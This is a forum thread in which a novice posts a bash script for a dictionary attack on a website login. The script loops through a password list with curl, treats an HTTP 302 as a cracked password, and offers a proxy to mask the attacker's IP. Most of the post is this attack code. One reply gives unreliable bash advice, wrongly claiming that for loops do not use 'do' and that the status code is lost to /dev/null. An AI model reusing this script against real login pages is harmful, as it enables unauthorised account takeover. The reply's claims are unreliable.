Author Topic: Is this even possible to do?  (Read 1046 times)

0 Members and 1 Guest are viewing this topic.

Offline Red_Tuna

  • NULL
  • Posts: 1
  • Cookies: -1
    • View Profile
Is this even possible to do?
« on: August 09, 2015, 01:34:45 am »
So i was just trying things for fun and editing a bunch of stuff here and there and came up with this "So-Called" Dictionary attack using shell script. Would this even work? Solved my question. Doesnt work. Ill update something new that might.

Code: (bash) [Select]
#!/usr/bin/env bash

echo
echo -n "Enter domain address of website:"
read name

echo -n "Enter username for login:"
read username

echo -n "Would you like to proxy?(Y/N)?"

read proxy

if [ $proxy == 'Y' ]
then
echo -n "Current ip is:"
curl ipecho.net/plain ; echo
echo -n  "Enter ip and port of proxy(EX: 189.11.2.3:8080):"
read proxyip
export http_proxy=http://$proxyip
echo -n "Current ip is:"
curl ipecho.net/plain ; echo

fi

n=`cat john.txt | wc -l`
for (( i=1; i <= $n; i++));
do

password=`sed -n "$i"p john.txt`
 http_code=$(curl -L --data-urlencode  user="$username" --data-urlencode password="$password" "$name" -w '%{http_code}' -o /dev/null -s)
echo "Trying password: '$password'"
    if [[ $http_code -eq 302 ]]; then
      echo "Password is cracked: '$password'"
      break 2
    fi
  done


Credit goes to some people's scripts i used to make some of this. 75% is mine. Give me your worst :D i'm a noob.

Staff note: Next time, use the code tags if your going to post code.
« Last Edit: August 09, 2015, 03:29:02 am by techb »

Offline _BEARDYMAN_

  • /dev/null
  • *
  • Posts: 14
  • Cookies: 4
    • View Profile
Re: Is this even possible to do?
« Reply #1 on: October 30, 2015, 03:06:05 pm »
Presume it failed mainly at the loop - not a programmer, but I can see the logic is flawed. Think you'd be better loading the dict into an array and pushing on from there. At least you can loop through the words in the dict then.
So fix the loop first, then worry about sending the data.

Offline BurnTheWicked

  • Serf
  • *
  • Posts: 25
  • Cookies: -30
    • View Profile
Re: Is this even possible to do?
« Reply #2 on: November 01, 2015, 04:57:10 am »
Well, I don't use shell scripts for anything outside of a collect of shell commands. But, to start, using curl, to set the proxy, is not a good idea; it is better, to proxy through the routing, layer 2 if memory serves me right. Look at ifconfig, ip, iptables, and ebtables (all commands). Curl is okay to use for web applications, but outside of that, you would be better off using distinct protocols, such as telnet, ssh, mysql, ect..

Second, I don't recall "do" being used with "for" loops; that is for "do-while" loops. Also your curl command has it directing the output to "/dev/null" aka the blackhole. So even if it did work, you wouldn't know.

I would suggest to learn C/C++/Obj-C; also http://ss64.com/bash/   great place to catch a quick reference to commands, also the "man" command is always useful, same with " --help".